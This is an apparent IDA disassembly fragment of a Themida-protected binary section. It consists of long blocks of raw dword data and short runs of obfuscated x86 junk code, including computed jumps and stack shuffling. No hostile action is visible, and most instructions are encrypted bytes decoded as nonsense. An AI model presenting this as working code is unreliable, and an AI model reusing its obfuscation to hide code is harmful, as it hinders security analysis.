		dd 0B59A19A5h, 19722444h, 842EE849h, 59CA5E54h,	0BAA4BB0Fh
		dd 83139AB0h, 0B31D67F3h, 0C3FB9623h, 3AE6C8A8h, 7040206Dh
		dd 390667B4h, 9E1DA930h, 722219FCh, 0EA34C050h,	0E99EE5A3h
		dd 5CCD9A18h, 228AF4DDh, 5497F572h, 28E5EC0Ch, 9F75B0h
		dd 2E140000h, 5131A282h, 0D756C761h, 75F33520h,	70BD6749h
		dd 93042090h, 0A22EB5BEh, 2226FB23h, 6EBB4B72h,	0F6D756E2h
		dd 4F722226h, 2226FFD0h, 3ABF4F72h, 0E308DDAAh,	0FB6DEC78h
		dd 4B75F1F8h, 0C3A32FBBh, 595636ECh, 0FBC858C9h, 4491971Bh
		dd 33DA4E64h, 0D060D4F3h, 83D135A6h, 8D00000Ch,	0D7B70426h
		dd 1DFD4AD8h, 62428F91h, 0A585D24Ah, 1BCE1B0Dh,	0B0783AE2h
		dd 0F82E8363h, 3CE2CBABh, 83A10FEFh, 0C544D036h, 72244788h
		dd 820B6C3Ch, 3E473F38h, 0E6B38910h, 2F7CAC06h,	76C3614Fh
		dd 0A2822E15h, 0C95F5131h, 2335647Fh, 47C6BD2Dh, 75F3E106h
		dd 565636C6h, 5DE936C6h, 250F2E13h, 0A47104C0h,	0C1EFDACFh
		dd 0D262F263h, 0BD97C746h, 0A7377222h, 19E2D11Bh, 662BBD5Dh
		dd 0A0A92899h, 0C17222F7h, 0B8D82063h, 41B028DAh, 7Dh
		dd 0A93039E0h, 2FA49E1Dh, 98287222h, 0CC01800Ch, 8072222Fh
		dd 829E10F0h, 8CC544B5h, 0DD72222Fh, 60EC3C7Fh,	222FECE1h
		dd 0F0D06072h, 119562BEh, 0B0297DF1h, 447Ah, 9F0EEE00h
		dd 0B17E0E7Fh, 0A9303950h, 29B89E1Dh, 7C0C7222h, 829E10F0h
		dd 4274C711h, 0F11C4013h, 0A4239461h, 722266AFh, 0D31B5EBCh
		dd 0B02949B3h, 0D9496646h, 20760Ch, 0AEA0000h, 9C842AA2h
		dd 3E0B9B0Ch, 83FAADDh,	3E1E0000h, 1835B470h, 0AC75F331h
		dd 8B1B8C1Ch, 30395DBEh, 289E1DA9h, 95722442h, 42458A09h
		dd 7D097224h, 2442D1FEh, 55E57572h, 1BE83A75h, 25FC4C96h
		dd 0EBDF5689h, 6343CF5Bh, 5389D349h, 71AD2E8Ch,	7A98956h
		dd 0D041E3CDh, 4424B040h, 0B343B468h, 0C30D99E6h, 0E70AED6Bh
		dd 0AF8F5CF1h, 0DDB22301h, 35C14DD4h, 24BD99B6h, 41E32D72h
		dd 201D38EFh, 0B8ACF686h, 880B8DB3h, 60DF6B38h,	75F36547h
		dd 0BEB7707h, 52327FA5h, 8055C65Eh, 0E564F06Bh,	72224C79h
		dd 63C5EDCDh, 2BD262F2h, 0C89220E1h, 0C7C32798h, 0D100000Ah
		dd 1BFB48E2h, 61418E94h, 0A686D34Dh, 0E9C91606h, 5F125FC9h
		dd 0F4347EBEh, 3CEAC7A7h, 809E0FEFh, 0C75D5333h, 988147Ah
		dd 722449C4h, 8F57B888h, 75F330BAh, 9E2AB1BAh, 0C6078612h
		dd 8675F330h, 2CAA29F6h, 0A0722442h, 0C5EEC310h, 0EB53D25Eh
		dd 5B75F330h, 515F3FCBh, 307758D7h, 47D775F3h, 268A6AB7h
		dd 0B3B88DFEh, 0F1BC9C28h, 5F2CBC2Dh, 424B54D3h, 68F47224h
		dd 7AF92588h, 72244255h, 179C69F9h, 0F06FFB87h,	722442DFh
		dd 8612DF6Fh, 8E1A0AA6h, 0AF2000AEh, 7905521Fh,	42616EEDh
		dd 268A7224h, 78FD8DFEh, 753B1BE8h, 6E4323AFh, 25A844FEh
		dd 63F3A33Eh, 0B9992596h, 0DE5D2AF4h, 0F224FBF7h, 0EB77E207h
		dd 0F5F8A26Ch, 0EB9222F5h, 505CD59Fh, 0EBF559CAh, 0F5000009h
		dd 3F1F6CBEh, 8565B270h, 0CAAAF729h, 0DED3AE2h,	833683A5h
		dd 1810A29Ah, 60C6EBCBh, 0A47A3313h, 0EB397757h, 2DAC389Eh
		dd 72244820h, 3973D4A4h, 3D1DA930h, 0B141B274h,	40CC58E4h
		dd 0F3318CC1h, 5BCDE575h, 0FA7946D6h, 7224435Ch, 48D460F0h
		dd 6ADB4768h, 436E5FDEh, 4EDE7224h, 9F11F1BEh, 0CAC73BCBh
		dd 87175AA4h, 0CE565A3Ah, 0F863885Dh, 75BE226Ch, 0FD6448BBh
		dd 2427517Eh, 0D565F572h, 4DFD7C08h, 175F355h, 69479121h
		dd 2ABA4ABBh, 0D9929B9h, 954BDEC3h, 7C49C198h, 84A010F0h
		dd 0CB595737h, 0F56C855Ah, 1FBDEA69h, 81117224h, 899B15F5h
		dd 0D0545C3Ch, 1FEBE05Fh, 0E60B7224h, 8363EF7Bh, 0F787F82Eh
		dd 0BA879517h, 0F36D473Bh, 0EB770775h, 483A50Bh, 75F36DCBh
		dd 0A20BEB7Bh, 0BF9FEC7Ch, 97B837F1h, 3775F36Dh, 0D1A617A7h
		dd 29B541D8h, 4DBE6849h, 0CD71F0BDh, 8172241Fh,	86AB80F1h
		dd 0B9038F1Bh, 9A77C42h, 0D01AAA1Bh, 40200FE7h,	0B444B571h
		dd 0A30A68E7h, 69B375F5h, 5A20FE21h, 0BF4411BCh, 0ED32882Fh
		dd 0F667D05Ch, 8B592h, 36F4BF00h, 7CA609E9h, 0C15F4F2Fh
		dd 4189474h, 4DDBD7B7h,	6CD04D00h, 0B595E246h, 0FDDD2AFCh
		dd 41216EB0h, 268B56Fh,	4BD6F776h, 0A6767224h, 16F68245h
		dd 85158696h, 0F331C906h, 20ED7D75h, 43B47040h,	4E976DB7h
		dd 2856F3F2h, 0EF357B5Bh, 0B541CD7Eh, 0F31A1936h, 501DAD75h
		dd 0A50BAFF2h, 8767F37Fh, 0FA8AFB29h, 0F31A527Bh, 0EDB52D75h
		dd 7117C294h, 327C5CECh, 20ED7DEEh, 0F62F4FD3h,	7B8B7F9h
		dd 57000000h, 456AAh, 52534900h, 7D321912h, 0FD8915A5h
		dd 0C390921Dh, 2200BA44h, 89230372h, 0B141C693h, 431EDB25h
		dd 0D9639E05h, 24C6597h, 4D1A7E21h, 0F07D209Fh,	0EACAA129h
		dd 5FEF60C8h, 2DB4BD92h, 0F81822A1h, 20ACA6F8h,	0F8F8ACA1h
		dd 159420A6h, 0A6F8F838h, 0DC6CFC8Ch, 69D966Bh,	0E362EE7Ah
		dd 0A6F8F8EAh, 7EFDCA5Ah, 0A12C5EBFh, 9E8A2808h, 30BC4CD1h
		dd 49C86050h, 0A12C5E04h, 5BA838C8h, 48EF357Bh,	0FB842F20h
		dd 9FBC2091h, 0A9000007h, 0F3D3200Ah, 391966BCh, 7E5EAB75h
		dd 0C1A1EE2Eh, 37EA37F1h, 0CC5C56C6h, 14129F7Fh, 58C6E7C7h
		dd 9F852B0Bh, 0E160EC52h, 72244AECh, 2E2F9060h,	5131A282h
		dd 489C0D61h, 0E0C15FEBh, 52E0350h, 9EF4A7E4h, 0B34377A0h
		dd 4E519B27h, 0E39C9BBh, 7E36B582h, 0CE722423h,	0DAD2B23Eh
		dd 9E97542h, 50307DA7h,	0EE38C460h, 21A0A9A9h, 9C0DDACEh
		dd 0BC3BA2C7h, 7224D193h, 8713A333h, 0DFF06FFBh, 6F7224D1h
		dd 279312DFh, 0A775F3A3h, 0B5FF8B17h, 2B1EAD6Bh, 2B0BD82Fh
		dd 0C5634F85h, 9E1DA935h, 75F377B1h, 6BB88515h,	8EFF258Bh
		dd 7D2404AEh, 0D063584Bh, 0E389ED5Eh, 0ED000006h, 371764C6h
		dd 7D5DAA78h, 0C2A2EF31h
		dd 5E532EAh, 7B2E7BADh,	10189A82h, 58CEE3C3h, 9C822B0Bh
		dd 0E3416F4Fh, 25A43096h, 72244D28h, 826BCC9Ch,	0A3140CA2h
		dd 78714613h, 95062091h, 5DE97505h, 0F331F1DEh,	0F8C55575h
		dd 437DED6Ch, 41D17224h, 49DBD5B5h, 53D5DDBDh, 57593986h
		dd 0F0D05CCDh, 0BF9461BDh, 24A32FAAh, 75F57182h, 0D1575B3Bh
		dd 48EF7F04h, 0D05D5E14h, 63B01485h, 6D000006h,	0B797E446h
		dd 0FDDD2AF8h, 42226FB1h, 8565B26Ah, 0FBAEFB2Dh, 90981A02h
		dd 0D84E6343h, 1C02AB8Bh, 63C1EFCFh, 0A524B016h, 72244DA8h
		dd 2EEB4C1Ch, 5131A282h, 0A354C55Fh, 525E0245h,	83F42C82h
		dd 921663F3h, 0B7FA9C72h, 7FBh,	3CAA9A00h, 49000002h, 16A2822Eh
		dd 38A97936h, 956ADBA8h, 0ED79059Ch, 0F8FB01A3h, 8956ECEDh
		dd 24C3580Ah, 609BE572h, 337A47D3h, 0E171F6C3h,	28FCB494h
		dd 4CE12BB7h, 70092BCEh, 0A50DEDBAh, 48613683h,	327956D5h
		dd 3DCD7224h, 0D1A221ADh, 6E75F340h, 1FFF1F8Eh,	93239492h
		dd 25B141C6h, 74844F99h, 4A32F903h, 11139D7Dh, 58CCE4C4h
		dd 7DAB07E7h, 0A732370Ch, 0E6B29C1Bh, 82127222h, 91CBDDDBh
		dd 0B71B8CC8h, 58Ah, 0BE0B1F94h, 451D1DEh, 49968A24h, 8CD94369h
		dd 0D52206ACh, 7141FD22h, 278A6AB7h, 0DBD2B2FFh, 9A16F643h
		dd 4BD73D8Ah, 244C83CCh, 12734372h, 31A2822Eh, 54C55F51h
		dd 5E0245A3h, 185D252h,	0B7FA9CE1h, 76Ah, 10AA0900h, 49000001h
		dd 17EB3882h, 9794AA9Ah, 5AAEC1AFh, 8C59E9A2h, 792004ACh
		dd 0D0634669h, 1B67CB3Ch, 25000005h, 6F4F9C8Eh,	0B595E240h
		dd 0FADA27F9h, 3D1D6AB2h, 0B366B375h, 48E0D24Ah, 90961BFBh
		dd 0D44A6343h, 1B09A787h, 5DDC68CEh, 72244F70h,	2EA304D4h
		dd 5131A282h, 0A354C55Fh, 26B20245h, 0F331A6A7h, 0AFA01F75h
		dd 1F75F331h, 0AD7A0A8Fh, 0F441E3CDh, 0FA9C5070h, 0DD9B7h
		dd 0AA780000h, 8Fh, 89AA49h, 39490000h,	9E1DA930h, 7224422Ch
		dd 0CA9F10A0h, 2FAE3AA1h, 75F55CDBh, 1A34DB6Bh,	0FFD05D35h
		dd 4902A8Eh, 199A0000h,	0CBE4C411h, 842A0A57h, 3D6F4F9Ch
		dd 0B292DFh, 0F728DB28h, 70BD6B47h, 0B8052190h,	0FC49D5D8h
		dd 4390941Ch, 0FDD251DDh, 5172244Fh, 30392081h,	0BF9E1DA9h
		dd 872227Ch, 6A907FBEh,	8D5AABA1h, 0CEC7808h, 0A8F27EA2h
		dd 1E1DBB20h, 0A9F6C3AFh, 22F3202Ah, 0BD674972h, 21E9070h
		dd 42C2D91h, 82CC0000h,	49160EA2h, 58E47F74h, 244269D9h
		dd 0DC4DDD72h, 0EB77E207h, 0F55CA66Ch, 0EF962675h, 0D05D3613h
		dd 3B11586h, 0D000004h,	573784A6h, 9D7DCA58h, 0E2C20F11h
		dd 250552CAh, 9B4E9B8Dh, 30F8BA62h, 78AE03E3h, 0BC624B2Bh
		dd 3218F6Fh, 45C450B6h,	72244E08h, 398BECBCh, 9E1DA930h
		dd 72244228h, 0DDF1BC9Ch, 50C151D3h, 5AA430C0h,	0EB388449h
		dd 0FB8754B1h, 0D8D5951Bh, 49D84FFBh, 54348111h, 8257C85Ch
		dd 170FA269h, 0FA8616A6h, 0F3A77A7Bh, 0CFE3C375h, 8B58E859h
		dd 0AEA7606h, 51317EA6h, 7F54C55Fh, 0E463EF6Ah,	72228E7Ah
		dd 97B837C3h, 0DC72228Eh, 4BDB4CD0h, 0E46936C6h, 0E3C7AD54h
		dd 172C891h, 3619Dh, 0E2486B00h, 28FAB595h, 6DB3FBDBh
		dd 0B06C4020h, 0F92F8363h, 1804F9ACh, 61418E9Ah, 0A989D650h
		dd 0EDCD1A04h, 0AE1461C3h, 4EAAA322h, 4A1A7224h, 0A2822EE9h
		dd 0C55F5131h, 138EA378h, 5C60887h, 0F6867222h,	5CD0685h
		dd 8A267222h, 77DF299Ah, 0BB9BF6F5h, 1804A888h,	5598F6A7h
		dd 78BB1901h, 0BC684828h, 0F98F8072h, 0C59257A9h, 29732141h
		dd 2FAAB0h, 39490000h, 0CE585930h, 0B13DCD5Dh, 22195032h
		dd 9E14F472h, 3FB0783Ah, 1EAE1FAFh, 0B59E1D8Eh,	0B6722219h
		dd 0ADCD1558h, 36B02978h, 0FEh,	52822ED5h, 447DC75Fh, 0B37043E7h
		dd 19A531C1h, 0F38BB59Ah, 0BC891975h, 0B433BF4Bh, 75F38B9Bh
		dd 0EECE9B2Bh, 13F364C4h, 3616879Dh, 0DE5DAA7Ah, 75F38F27h
		dd 73C0644Ch, 96071D93h, 0A531A8C1h, 0B0763919h, 0F38F1C31h
		dd 9020B075h, 8F488504h, 6CFC75F3h, 0AF3A209Fh,	0A3837222h
		dd 0C449160Ch, 7B5BE734h, 4A1FEC32h, 0AF2EBA21h, 75F14D8Dh
		dd 4525B141h, 0E26EBB6Dh, 4DF6D756h, 0C65675F1h, 8F9919F9h
		dd 6126F0E8h, 0CC30A1D0h, 22Eh,	62AF7B38h, 0A8F52D82h
		dd 0ED3AE6C8h, 307D9F0Dh, 79C66250h, 0CDE559C6h, 832E0E5Bh
		dd 377656A3h, 0F6BA9AE7h, 0EF7BE12Eh, 24B15F70h, 0BE1FEF72h
		dd 5677F682h, 0F675F331h, 0F9B99966h, 0C56E22Fh, 837DC508h
		dd 0F0C0A009h, 29876734h, 208F6FFBh, 95468706h,	760675F3h
		dd 40CC19E6h, 0A4A928B4h, 2875F395h, 95341998h,	89875F3h
		dd 3039DA3Bh, 0FC9E1DA9h, 50722219h, 0E3C34FC0h, 52E253C9h
		dd 19CD0685h, 0C01E7222h, 9CE32D7Dh, 334A9BEDh,	82A226F3h
		dd 0BB028DBh, 0E7h, 0A2822EAAh,	0A7773616h, 585225Dh, 0F2BF3872h
		dd 9A15F581h, 0A811E1CEh, 31C11A3Ah, 0FA2E8464h, 90B3FD89h
		dd 0FE2347C5h, 0A950CF9Ch, 0C275F3C4h, 0CAAA36EEh, 3BCB3CE4h
		dd 6F41216Eh, 7A6F44B5h, 0EED453DFh, 5E7222E4h,	69F581CEh
		dd 22E4E5EAh, 0CD96972h, 1BA73237h, 0F13A0F9Ch,	0A32FBF75h
		dd 0B02CD17h, 80D2B385h, 9A5875F4h, 5CEC75F1h, 2503AF8Fh
		dd 1EBAF8D8h, 0B76D4393h, 2EF09727h, 63D060F8h,	1088EF2h
		dd 0A1120000h, 535C3C89h, 0CA282CFh, 0C5E7C714h, 882A0A57h
		dd 7FA053A0h, 0E835F3BFh, 307DA908h, 74C15D50h,	0BB081C94h
		dd 54AC955h, 0C97224B3h, 0A28298F9h, 14A4150Dh,	37A87C34h
		dd 0B8FADAA7h, 908C20h,	47DDD3B3h, 4CD2DBBBh, 416B4BDBh
		dd 0DDA6ADBh, 0EEA34C0h, 0D9A67B1Dh, 2E69CA97h,	0A531A282h
		dd 0C536E8C5h, 252AA935h, 0A975F331h, 446C4C19h, 74042090h
		dd 72595227h, 0AD05E53Dh, 0E05FEB7Bh, 722443C3h, 5C71F07Ch
		dd 0F0722443h, 0F0809C10h, 0B784A010h, 5131A232h, 9878C55Fh
		dd 1C9B0C18h, 1685BA1Dh, 6FBF0260h, 0BA6B64E3h,	4BDB1685h
		dd 0BA0F40BFh, 2FBF1685h, 0F62E8262h, 15BC206Ah, 40DADBB9h
		dd 6A462673h, 0DDBD49BAh, 4FDF50D2h, 120AA282h,	0A5E846A1h
		dd 2875AF01h, 4BBC6848h, 5D5333BFh, 0AC0748C7h,	37C71685h
		dd 14066Ah, 0C0A50000h,	2429A834h, 0E375F331h, 17E5248Eh
		dd 17A72C40h, 852EE94Ah, 5C5434A5h, 367757C8h, 1A9777E8h
		dd 0F7BB9B0Ch, 0D2E0C031h, 0A705E556h, 8A240475h, 6A452596h
		db 0B8h, 47h, 0ABh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	7D7744Dh
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	752Eh
		mov	[esp], esi
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		dw 0BA69h
		dd 0C0335989h
		db 29h
; ---------------------------------------------------------------------------


loc_5EEA21:				; CODE XREF: Themida_:loc_5ED9F0j
		mov	eax, 7D78349h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		jb	short loc_5EEA3C
		xchg	eax, ecx
		adc	eax, 34484807h
		retn	502Ch
; ---------------------------------------------------------------------------
		cmp	ah, [ebx+ebx*4+58FD5AB0h]


loc_5EEA3C:				; CODE XREF: Themida_:005EEA2Aj
		nop
		db	66h
		mov	al, ds:27359DB0h
		db	3Eh
		mov	word ptr [ebx],	es
		push	ebp
		sbb	edx, [esi+13h]
		mov	al, 0A8h
		pop	esi
		outsd
		inc	ebp
		or	al, 21h
		adc	[esp+esi*8], ebx
		loop	loc_5EEA89
		adc	bl, [edi]
		VxDJmp 48B6309Fh
; ---------------------------------------------------------------------------
		dw 0EF59h
		dd 0DD794270h, 0B4B0526Fh, 0B0F97B53h, 7EFA228Ch, 769153EAh
		dd 387415BBh, 5D480AC5h, 33225F30h, 520D79D0h, 0E1A13964h
		db 0D9h
; ---------------------------------------------------------------------------


loc_5EEA89:				; CODE XREF: Themida_:005EEA54j
		add	eax, 9877F03h
		pop	edx
		cmp	[ebx+77h], ch
		pusha
		db	67h, 3Eh
		dec	ecx
		xor	ebp, [edx-1Fh]
		sub	bh, [ecx]
		retf
; ---------------------------------------------------------------------------
		dd 256159F9h, 5E80E9Bh,	0EB000000h, 0FDD21441h,	108E0Fh
		dd 5E80000h, 3000000h, 9C9E09CBh, 0D50789BFh, 8B5B5F15h
		dd 0DCC381CBh, 66000068h, 333C3EBFh, 8BFB8BF6h,	0BF0F3304h
		dd 2EE881CAh, 0F902CE37h, 8B88C081h, 8D0F4623h,	2, 0F081F98Bh
		dd 67729544h, 489D78Bh,	13870F33h, 0E8000000h, 0Bh, 9AAE9575h
		dd 0C04D20C5h, 576F0043h, 0EE81595Fh, 30AD7ABCh, 0C68B6660h
		dd 61D3BF0Fh, 7AB8C681h, 8E930ADh, 0DA000000h, 724DEA2Fh
		dd 81871161h, 0FF97C0FEh, 94850FFFh, 0FFFFFFFh,	28Ah, 8DFA8B00h
		dd 0D785BC8Dh, 0CDD68007h, 1B518D89h, 0BE807D1h, 54000000h
		dd 9C0A7E40h, 0DD20B538h, 9D891F97h, 7D10C19h, 5585C75Bh
		dd 2407D12Dh, 0F00006Dh, 68Dh, 3D858B00h, 2907D11Eh, 0D12A11B5h
		dd 3985C707h, 7D11Dh, 0F000000h, 8B66D0B7h, 0F5B5FFF8h
		dd 6A07D118h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0BF57C352h, 567A9539h,	0E982E103h
		dd 7, 0FEFB7514h, 0FF07B7E1h, 0D1180195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 6AF6B492h, 5595FF00h, 8B07D100h, 0CC6CEBC0h,	59CBB35Ch
		dd 0F186BD9Dh, 692BB5C5h, 4979305Bh, 539D5F25h,	42E568F1h
		dd 0F63EBC7Ch, 2A8D0AE9h, 4B8516FDh, 546A8DCAh,	87F8CB84h
		dd 0EBD625D6h, 274FF94Fh, 207CA66Ah, 0AEC3479Ah, 745B2D98h
		dd 8FB14B5Ah, 9B656A04h, 3768A315h, 80986B67h, 7C39E4FDh
		dd 22BA08FDh, 0B33EC3D7h, 0EA2A080Dh, 77E6DE3Ah, 1D814B0Ah
		dd 8DA98004h, 0D786B98Dh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 658328Bh, 29D5858Bh
		dd 89F907D1h, 0D11B518Dh, 0C754B207h, 0D12D5585h, 59D407h
		dd 89952300h, 0F07D12Fh, 85C7F1BFh, 7D11D39h, 0
		dd 14E8h, 4CDE6000h, 2809FDAFh,	5CC5CE72h, 0F3F70EBAh
		dd 0A1E2D6Dh, 8B0DBB3Ch, 0FF5F01E0h, 0D11081B5h, 0DD858907h
		dd 0FF07D100h, 0D1180195h, 0DA8B6607h, 95FF006Ah, 7D10055h
		dd 5AEBC08Bh, 0AC3008C3h, 0FC88B654h, 81CDB06Dh, 9EAA270Fh
		dd 0BBA0417Fh, 0AEB28392h, 57D7D639h, 916F9890h, 55937217h
		dd 26F904B4h, 21208993h, 3F99E28Eh, 2E832E3Dh, 8F5CE829h
		dd 728F0FF9h, 0AA6C173Bh, 162A5C15h, 4BB32D4h, 0B1FC0C96h
		dd 3472FE9Ah, 8B6C26F8h, 0D694039Bh, 0FE85A44h,	0C000000h
		dd 1AEE9CA0h, 32B532D6h, 4BFA1BD2h, 0B589FB91h,	7D115B1h
		dd 819FB158h, 66E0C0h, 9D895700h, 7D10689h, 685Fh, 85010000h
		dd 7D11755h, 18148B5Bh,	0CE8h, 37E57700h, 6A38DBDAh, 4F9DE351h
		dd 14E8FBh, 92990000h, 5013D5A9h, 4A4E7E9Ch, 0A087E264h
		dd 0B6910CC1h, 13E98103h, 58000000h, 0A4DF1882h, 5085ED38h
		dd 362371BEh, 0F4033B0Eh, 595FBE7Dh, 928EF281h,	9E95983h
		dd 9D000000h, 6CFCF90Ah, 0D49AE719h, 2102C281h,	81661C5Dh
		dd 81F6B0C7h, 9E8F70F2h, 0B1B58B61h, 8907D113h,	81661814h
		dd 808452F1h, 0EB81E9E5h, 32C8776Dh, 31E1BD8Bh,	0C38107D1h
		dd 32C87769h, 3800Fh, 0BF0F0000h, 1CFB81CAh, 0FFFFF9Ah
		dd 1085h, 8DB58900h, 0E907D10Ch, 1Fh, 568A8BBDh, 658D2953h
		dd 0E907D125h, 0FFFFFF41h, 0E3E1F264h, 54EECEEDh, 7B759478h
		dd 0E95CA2C8h, 17h, 49E38943h, 4 dup(0)
		dd 0E9000000h, 51Fh, 0B845BBE3h, 0A633C9CBh, 9522DCB9h
		dd 7E0BE9A8h, 6AF7F191h, 0C4C6EEAFh, 0D7B29F2Ch, 0E29F8C19h
		dd 0A8A7704h, 0D3BF61EEh, 3D5716h, 0A7856D1Ah, 9C523522h
		dd 2E60200Dh, 0A05E3B6Fh, 0A88D24BBh, 41E8AD11h, 0FAA7A5ECh
		dd 0CE8B7763h, 1229119Fh, 1AFF8E25h, 6936D2Dh, 987D7B19h
		dd 230FEDABh, 11F37A37h, 3AD11229h, 0BFD9C6ABh,	123E2FECh
		dd 5A3E1229h, 0D36A01A6h, 0AA9183E7h, 8C32E731h, 1AC18FDh
		dd 7F7D1B12h, 6A8405F2h, 5593F0DDh, 34988470h, 0BD0D1B35h
		dd 4429E615h, 80122924h, 2D40FDE9h, 97122924h, 1847100h
		dd 715D06EBh, 6EB0184h,	0C635E06Fh, 0C9276350h,	0B24C4D3Ah
		dd 46583825h, 9B31DC47h, 0C67A1DA1h, 0C7B3982Fh, 5B40B8DAh
		dd 46BBB26Fh, 72091229h, 0DB8F4CDBh, 0EA122946h, 0E0CFD03Fh
		dd 0FD39CDC7h, 4Bh, 8563211Fh, 0B488E3A0h, 923D1228h, 368D2263h
		dd 4A3739CDh, 32C9AE4Ah, 1D0A3h, 21F20000h, 9C523367h
		dd 0A48920B7h, 3A1FDDB7h, 0CBB04E4Dh, 0CE45B45Fh, 48A4E0CAh
		dd 4B3824B1h, 0B407E24Dh, 0BAA5D57Fh, 0E9A79423h, 22A07E0Bh
		dd 502E66BEh, 109FF7F8h, 0A4896723h, 3A1FDDB7h,	1D1403AEh
		dd 0FC712E7Dh, 0C81228C1h, 0C1AE9A31h, 0AA4126C0h, 0B5A28E1Bh
		dd 9D3419D7h, 0B863210Eh, 56F6A7DCh, 4BA9E7CFh,	0A138CF66h
		dd 6BB6CFBCh, 0AF4C6244h, 0F8DD7473h, 0D64CBB66h, 0C150AEE9h
		dd 0CDBE754Ah, 838839h,	21AA0000h, 0AE9B8761h, 982F14ECh
		dd 5E372409h, 0CDCEBBA0h, 4EEA4E33h, 0BB97489Eh, 3E19F8Ch
		dd 1807B21Eh, 321F0B77h, 0AF3BC952h, 0B6440913h, 9751321Fh
		dd 0E18C1BB2h, 619FFB32h, 4DABE7D4h, 0DD137461h, 1D7C694Eh
		dd 7C68FADFh, 0A489CA18h, 0FE8D72C6h, 0DCE3A453h, 2139CDCBh
		dd 52h,	87612143h, 1AD4B5A2h, 0AD4B4835h, 40BEDBC8h, 0B867125Bh
		dd 0B4A8C582h, 851C1228h, 0BFAA5EEh, 0ED7A7614h, 5335220Fh
		dd 3421B89Dh, 1C099854h, 0E29F8478h, 1228B488h,	725795F4h
		dd 5EA0485h, 2142B15Ch,	6223D27Dh, 39CD364Dh, 190h, 6421B200h
		dd 0D8B8A58Ah, 0E38E371Ch, 6698FD34h, 0BA5F4BD9h, 0CA9D11CEh
		dd 902719F9h, 22DEBEABh, 58484936h, 9524BB39h, 297D1B08h
		dd 10F58C6Ah, 0F9CB1853h, 0AE5D0819h, 0EFDB1977h, 0C9E4098Bh
		dd 6FFE6C25h, 5997F5E2h, 0EB098774h, 7D7B1906h,	10EEAB98h
		dd 0A15F3E2Bh, 0A44F25BCh, 6B02BF75h, 5919FA5Ah, 0F49F2BC2h
		dd 728E0E05h, 0DC416EE5h, 449C419Eh, 0BE000001h, 3EF1280h
		dd 0F9C8A846h, 99851C19h, 8413E9ACh, 16D2B29Fh,	0FC9C89h
		dd 86432F1Bh, 19F9C8E7h, 0CAB746DDh, 55422ECAh,	492EBD33h
		dd 2DE312BDh, 43A74540h, 61188B38h, 9A871656h, 0FA71FEFAh
		dd 419EB2B5h, 5636230Fh, 611EB59Ah, 19FA260Ch, 0BF9221B8h
		dd 70h,	432AE7D3h, 8119FA26h, 807D5BEAh, 0FFFD9815h, 0E47B7512h
		dd 641F0CF8h, 133AF786h, 0B19228B5h, 0F578351Ah, 9E9228B4h
		dd 210E04F3h, 0BA28761h, 5CBBEE7Ch, 0A6C78470h,	1E9228B4h
		dd 0FD945231h, 0A996826Eh, 0C27F0EE8h, 1228B48Bh, 0C9B6A239h
		dd 511CD9C8h, 731228B5h, 29B645DCh, 0B632503Dh,	85AF27h
		dd 5FC30000h, 5094733Ch, 9270FF20h, 3EF1280h, 0F9E73446h
		dd 0E1A39019h, 0F88F260Bh, 0A63200Ch, 0BA19F9E7h, 0A578BF23h
		dd 68A6150h, 0E7A59277h, 0F18F7C09h, 59A307F3h,	0D53039A9h
		dd 0A496D794h, 972E19FAh, 0CF8C7100h, 19FAA599h, 0F2AF9B87h
		dd 19FAA57Bh, 7823B249h, 0F6F29289h, 4AAFDB69h,	2DEAA15Eh
		dd 43DA21D2h, 0D513715Eh, 6D9C47F0h, 98846515h,	0A9B5B0DBh
		dd 0F07D1429h, 125B1804h, 0B229A9B6h, 80AE8C1Bh, 2FC9912h
		dd 0C9C27F6Bh, 0FB1A003Ch, 0F2927F64h, 0D6B2E4A0h, 79E351Ah
		dd 67F48B22h, 0D881A7Ah, 86730AEFh, 6D52E907h, 344182B0h
		dd 6098FA68h, 0F20E8E7Bh, 4AB9640Dh, 0E312BD29h, 3906C2Ch
		dd 8E7A7616h, 4188E5A2h, 0A53C6834h, 8E1DDBB8h,	1FDDBCA9h
		dd 37E6913Ah, 7A761401h, 826FFE95h, 6C59E602h, 73EBD02Ch
		dd 8, 2FE9A87h,	0E4C29573h, 9E837D21h, 3015D3B1h, 0C3A84643h
		dd 583DB3D6h, 0ECD12F6Bh, 806583FFh, 11F6F493h,	0A88D6324h
		dd 3E23D9BBh, 0E689566Fh, 4C681h, 0EE830000h, 24348704h
		dd 5024248Bh, 405E089h,	2D000000h, 4, 5C240487h, 68241489h
		dd 6BA6h, 83243489h, 0C8904ECh,	883EB924h, 0CA8907D7h
		dd 348B5459h, 4C48124h,	51000000h, 8B9h, 89F10100h, 240C8B11h
		dd 8B04C483h
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		or	al, 5Bh
		mov	ch, 0E1h
		cmp	al, 0E2h
		das
		retn	0D53Ch
; ---------------------------------------------------------------------------
		or	[edx], al
		sbb	dh, dl
		mov	eax, 7D78CD7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 359B13B8h, 734AE081h, 4B22504Ch, 698465F8h, 7B152F0Eh
		dd 5BA605h, 3CE4EAC2h, 201A152Ah, 65052B5Ch, 5E8h, 26BC4400h
